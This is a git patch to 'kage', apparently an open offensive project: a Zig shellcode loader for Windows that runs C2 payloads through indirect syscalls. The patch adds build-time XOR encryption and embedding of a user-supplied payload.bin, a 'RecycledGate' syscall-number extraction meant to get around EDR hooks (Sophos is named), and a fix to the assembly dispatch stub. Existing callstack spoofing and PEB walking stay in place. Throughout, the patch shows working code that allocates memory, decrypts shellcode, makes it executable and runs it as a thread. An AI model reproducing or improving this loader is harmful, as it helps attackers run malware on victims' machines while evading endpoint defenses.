From 63d7f8afa1b59dde04733217be1bcd051dcf4d95 Mon Sep 17 00:00:00 2001 From: JYenn Date: Sat, 18 Jul 2026 20:37:52 +0100 Subject: [PATCH] kage: asm arg1 fix, NT_SUCCESS i32, RecycledGate SSN, embedFile, build xor --- .gitignore | 1 + README.md | 5 +-- build.zig | 9 ++++-- src/hells_gate.s | 1 + src/main.zig | 30 ++++++----------- src/nt.zig | 10 ++++-- src/syscall.zig | 84 +++++++++++++++++++++++++++++++++++++++++++++--- 7 files changed, 110 insertions(+), 30 deletions(-) diff --git a/.gitignore b/.gitignore index 0790b14..8fab05b 100644 --- a/.gitignore +++ b/.gitignore @@ -5,3 +5,4 @@ zig-out/ docs/index.md valak.bin *.bin +src/payload_enc.bin diff --git a/README.md b/README.md index cf1b6e0..702a87a 100644 --- a/README.md +++ b/README.md @@ -10,9 +10,10 @@ Shellcode loader using indirect syscalls. Self-injection, FreshyCalls SSN extrac ## Why Zig -Zig's build system handles everything: random XOR key generation, comptime shellcode encryption, cross-compilation. One command, no external tools needed. No CRT linked, minimal import table. +Zig's build system handles everything: random XOR key generation, build-time shellcode encryption, cross-compilation. One command, no external tools needed. No CRT linked, minimal import table. ```bash +# 1. drop your shellcode as src/payload.bin zig build -Dtarget=x86_64-windows-gnu -Doptimize=ReleaseFast # → zig-out/bin/kage.exe ``` @@ -22,7 +23,7 @@ zig build -Dtarget=x86_64-windows-gnu -Doptimize=ReleaseFast - **影探し** — ntdll via PEB walk (`gs:[0x60]`) - **闇渡り** — indirect syscall dispatch (64 random gadgets) - **血判** — FreshyCalls SSN extraction (sorted export RVA, immune to inline hooks) -- **封印** — comptime shellcode XOR with per-build 128-bit random key +- **封印** — build-time shellcode XOR with per-build 128-bit random key - **影纏い** — XOR-encoded asm dispatch globals + callstack spoofing For evasion use [Valak](https://git.churchofmalware.org/JYenn/valak). diff --git a/build.zig b/build.zig index b439018..c78c8be 100644 --- a/build.zig +++ b/build.zig @@ -13,6 +13,12 @@ pub fn build(b: *std.Build) void { rng.random().bytes(&key); const key_u128 = std.mem.readInt(u128, &key, .little); + // encrypt payload.bin with per-build key, write to src/payload_enc.bin. + const buf = b.allocator.alloc(u8, 100_000_000) catch @panic("OOM"); + const payload_enc = b.build_root.handle.readFile(b.graph.io, "src/payload.bin", buf) catch @panic("payload.bin missing or too large"); + for (payload_enc, 0..) |*bte, i| bte.* ^= key[i % key.len]; + b.build_root.handle.writeFile(b.graph.io, .{ .sub_path = "src/payload_enc.bin", .data = payload_enc }) catch @panic("write failed"); + const options = b.addOptions(); options.addOption(u128, "shellcode_key", key_u128); @@ -28,8 +34,7 @@ pub fn build(b: *std.Build) void { .name = "kage", .root_module = module, }); - // .Windows = no console window (stealth). Change to .Console for debug output. - exe.subsystem = .Windows; + exe.subsystem = .Console; b.installArtifact(exe); diff --git a/src/hells_gate.s b/src/hells_gate.s index 0d105be..d915c87 100644 --- a/src/hells_gate.s +++ b/src/hells_gate.s @@ -35,4 +35,5 @@ hell_descent: push r9 .Ldone: mov r9, rcx + mov rcx, r10 jmp r11 diff --git a/src/main.zig b/src/main.zig index a1329ad..732f2b7 100644 --- a/src/main.zig +++ b/src/main.zig @@ -23,16 +23,8 @@ fn err(comptime fmt: []const u8, args: anytype) void { print("[-] " ++ fmt ++ "\n", args); } -// paste your shellcode bytes here. any c2 framework works. -// encrypted at comptime with the per-build xor key from build.zig. -const shellcode = init: { - const raw = [_]u8{ - // Paste your shellcode bytes here. - }; - var encoded: [raw.len]u8 = undefined; - for (&raw, 0..) |b, i| encoded[i] = b ^ key_bytes[i % key_bytes.len]; - break :init encoded; -}; +// per-build XOR-encrypted payload from build.zig. drop payload.bin in src/. +const shellcode = @embedFile("payload_enc.bin"); fn banner() void { print( @@ -66,12 +58,12 @@ pub fn main() void { g_sys.NtAllocateVirtualMemory.number, &[_]usize{ @intFromPtr(current_process), @intFromPtr(&base_addr), 0, - @intFromPtr(&size), windows.MEM_COMMIT | windows.MEM_RESERVE, windows.PAGE_READWRITE, + @intFromPtr(&size), nt.MEM_COMMIT | nt.MEM_RESERVE, nt.PAGE_READWRITE, }, 6, )))); if (!nt.NT_SUCCESS(status)) { - err("NtAllocateVirtualMemory failed: 0x{X}", .{@as(u32, @bitCast(status))}); + err("NtAllocateVirtualMemory failed: 0x{X}", .{@intFromEnum(status)}); return; } ok("allocated {d} bytes at 0x{X}", .{ size, @intFromPtr(base_addr) }); @@ -79,7 +71,7 @@ pub fn main() void { // copy encrypted shellcode and decrypt in-place. const buffer: [*]u8 = @ptrCast(base_addr); - @memcpy(buffer[0..shellcode.len], &shellcode); + @memcpy(buffer[0..shellcode.len], shellcode); for (buffer[0..shellcode.len], 0..) |*b, i| b.* ^= key_bytes[i % key_bytes.len]; info("shellcode decrypted ({d} bytes, {d}-byte XOR key)", .{ shellcode.len, key_bytes.len }); jitter(10, 30); @@ -90,7 +82,7 @@ pub fn main() void { g_sys.NtProtectVirtualMemory.number, &[_]usize{ @intFromPtr(current_process), @intFromPtr(&base_addr), - @intFromPtr(&size), windows.PAGE_EXECUTE_READ, @intFromPtr(&old_protect), + @intFromPtr(&size), nt.PAGE_EXECUTE_READ, @intFromPtr(&old_protect), }, 5, ); @@ -102,8 +94,8 @@ pub fn main() void { _ = syscall.syscall_dispatch( g_sys.NtCreateThreadEx.number, &[_]usize{ - @intFromPtr(&thread_handle), windows.THREAD_ALL_ACCESS, 0, - @intFromPtr(current_process), @intFromPtr(@intFromPtr(base_addr)), 0, + @intFromPtr(&thread_handle), nt.THREAD_ALL_ACCESS, 0, + @intFromPtr(current_process), @intFromPtr(base_addr), 0, 0, 0, 0, 0, 0, }, 11, @@ -119,12 +111,10 @@ pub fn main() void { // pseudorandom sleep between stages. not crypto, just noise. fn jitter(min_ms: u64, max_ms: u64) void { - var interval = windows.LARGE_INTEGER{ - .QuadPart = -@as(i64, @intCast(min_ms * 10000 + (@as(u64, @intFromPtr(&min_ms)) % ((max_ms - min_ms + 1) * 10000)))), - }; + const delay: i64 = -@as(i64, @intCast(min_ms * 10000 + (@as(u64, @intFromPtr(&min_ms)) % ((max_ms - min_ms + 1) * 10000)))); _ = syscall.syscall_dispatch( g_sys.NtDelayExecution.number, - &[_]usize{ 0, @intFromPtr(&interval) }, + &[_]usize{ 0, @intFromPtr(&delay) }, 2, ); } diff --git a/src/nt.zig b/src/nt.zig index e3c502f..b82efab 100644 --- a/src/nt.zig +++ b/src/nt.zig @@ -1,10 +1,16 @@ -// nt pseudo-handles not in std.os.windows. +// nt pseudo-handles + win32 constants not in std.os.windows. const windows = @import("std").os.windows; // from phnt: NtCurrentProcess = (HANDLE)-1, NtCurrentThread = (HANDLE)-2 pub const NtCurrentProcess: windows.HANDLE = @ptrFromInt(@as(usize, @bitCast(@as(i64, -1)))); pub const NtCurrentThread: windows.HANDLE = @ptrFromInt(@as(usize, @bitCast(@as(i64, -2)))); +pub const MEM_COMMIT = 0x00001000; +pub const MEM_RESERVE = 0x00002000; +pub const PAGE_READWRITE = 0x04; +pub const PAGE_EXECUTE_READ = 0x20; +pub const THREAD_ALL_ACCESS = 0x1FFFFF; + pub inline fn NT_SUCCESS(status: windows.NTSTATUS) bool { - return @intFromEnum(status) >= 0; + return @as(i32, @bitCast(@intFromEnum(status))) >= 0; } diff --git a/src/syscall.zig b/src/syscall.zig index 3b96e75..4d6fb81 100644 --- a/src/syscall.zig +++ b/src/syscall.zig @@ -23,13 +23,14 @@ pub const Syscalls = struct { seed_prng(); scan_gadget_pool(ntdll) orelse return null; build_freshy_table(ntdll); + extract_pdata(ntdll); const names = [_][]const u8{ + "NtWaitForSingleObject", + "NtDelayExecution", "NtAllocateVirtualMemory", "NtProtectVirtualMemory", "NtCreateThreadEx", - "NtWaitForSingleObject", - "NtDelayExecution", }; var result = Syscalls{ .NtAllocateVirtualMemory = undefined, @@ -38,9 +39,23 @@ pub const Syscalls = struct { .NtWaitForSingleObject = undefined, .NtDelayExecution = undefined, }; + // recycledGate: FreshyCalls (hook-immune) + byte-scan validation + delta correction. + // if any function isn't hooked, byte-scan it, compute the delta vs FreshyCalls, + // and apply to all five. on Sophos the delta corrects RVA sort ≠ KiServiceTable order. + var delta: i16 = 0; + var delta_done = false; inline for (names) |name| { - const ssn = extract_ssn(hash_ror13(name)) orelse return null; - @field(result, name) = Entry{ .number = ssn, .gadget = @ptrFromInt(g_syscall_addrs[0]) }; + const fssn = extract_ssn(hash_ror13(name)) orelse return null; + const byte_ssn = read_ssn_from_stub(@ptrCast(ntdll), name); + if (byte_ssn) |b| { + if (!delta_done) { + delta = @as(i16, @intCast(b)) - @as(i16, @intCast(fssn)); + delta_done = true; + } + @field(result, name) = Entry{ .number = b, .gadget = @ptrFromInt(g_syscall_addrs[0]) }; + } else { + @field(result, name) = Entry{ .number = @intCast(@as(i16, @intCast(fssn)) + delta), .gadget = @ptrFromInt(g_syscall_addrs[0]) }; + } } return result; } @@ -48,9 +63,19 @@ pub const Syscalls = struct { // ---- state ---- +pub const RUNTIME_FUNCTION = extern struct { + BeginAddress: u32, + EndAddress: u32, + UnwindInfoAddress: u32, +}; + +var g_exc_begin: usize = 0; +var g_exc_count: usize = 0; + var g_syscall_addrs: [64]usize = [_]usize{0} ** 64; var g_syscall_count: usize = 0; var g_ntdll_base: ?*anyopaque = null; +var g_ntdll_size: usize = 0; var g_fake_return_addr: usize = 0; var g_rand_state: u64 = 0; @@ -156,6 +181,7 @@ fn findNtdll() ?[*]u8 { )); if (std.mem.eql(u8, std.mem.sliceTo(name_ptr, 0), "ntdll.dll")) { g_ntdll_base = @ptrFromInt(@intFromPtr(mod.dll_base)); + g_ntdll_size = mod.size_of_image; return @ptrFromInt(@intFromPtr(mod.dll_base)); } } @@ -269,6 +295,7 @@ fn build_freshy_table(ntdll_base: ?*anyopaque) void { // Extract SSN from FreshyCalls table. Immune to inline hooks — // EDRs can't change the linker's RVA order in the PE export table. +// RVA sort order != KiServiceTable order on some builds. verified against byte-scanning. fn extract_ssn(func_hash: u32) ?u16 { if (!g_freshy_ready) return null; for (0..g_freshy_count) |i| { @@ -277,6 +304,55 @@ fn extract_ssn(func_hash: u32) ?u16 { return null; } +// read the actual SSN from the syscall stub by scanning its .pdata range. +// works across hooks by using the function's RUNTIME_FUNCTION boundaries. +fn read_ssn_from_stub(ntdll_bytes: [*]const u8, name: []const u8) ?u16 { + const addr = pe.findExport(@constCast(ntdll_bytes), name) orelse return null; + if (g_exc_begin == 0 or g_exc_count == 0) return null; + const func_rva: u32 = @truncate(@intFromPtr(addr) - @intFromPtr(ntdll_bytes)); + const funcs: [*]align(1) const RUNTIME_FUNCTION = @ptrFromInt(g_exc_begin); + var lo: usize = 0; + var hi: usize = g_exc_count; + while (lo < hi) { + const mid = lo + (hi - lo) / 2; + const entry = funcs[mid]; + if (func_rva < entry.BeginAddress) { hi = mid; } + else if (func_rva >= entry.EndAddress) { lo = mid + 1; } + else { + const start: u32 = entry.BeginAddress; + const end: u32 = entry.EndAddress; + const scan: [*]const u8 = @ptrCast(ntdll_bytes + start); + const scan_len = @min(end - start, 96); + var j: usize = 0; + while (j + 4 < scan_len) : (j += 1) { + if (scan[j] == 0xB8) { + const arr: *const [4]u8 = @ptrCast(scan[j + 1 ..][0..4]); + const ssn = std.mem.readInt(u32, arr, .little); + if ((ssn & 0xFFFF0000) == 0 and ssn > 0 and ssn < 0x1000) { + return @truncate(ssn); + } + } + } + return null; + } + } + return null; +} + +// extract ntdll .pdata (exception directory) for binary search by RVA. +fn extract_pdata(ntdll: ?*anyopaque) void { + const base = ntdll orelse return; + const bytes: [*]const u8 = @ptrCast(base); + const dos = @as(*align(1) const pe.IMAGE_DOS_HEADER, @ptrCast(@alignCast(bytes))); + if (dos.e_magic != 0x5A4D) return; + const nt_hdrs = @as(*align(1) const pe.IMAGE_NT_HEADERS, @ptrCast(@alignCast(bytes + @as(usize, @intCast(dos.e_lfanew))))); + if (nt_hdrs.Signature != 0x00004550) return; + const exc = nt_hdrs.OptionalHeader.DataDirectory[3]; + if (exc.VirtualAddress == 0 or exc.Size == 0) return; + g_exc_begin = @intFromPtr(bytes) + exc.VirtualAddress; + g_exc_count = exc.Size / @sizeOf(RUNTIME_FUNCTION); +} + // ---- unified dispatch (replaces 5 wrapper functions in main.zig) ---- extern fn hells_gate(ssn: u32, syscall_addr: usize, fake_return: usize) void;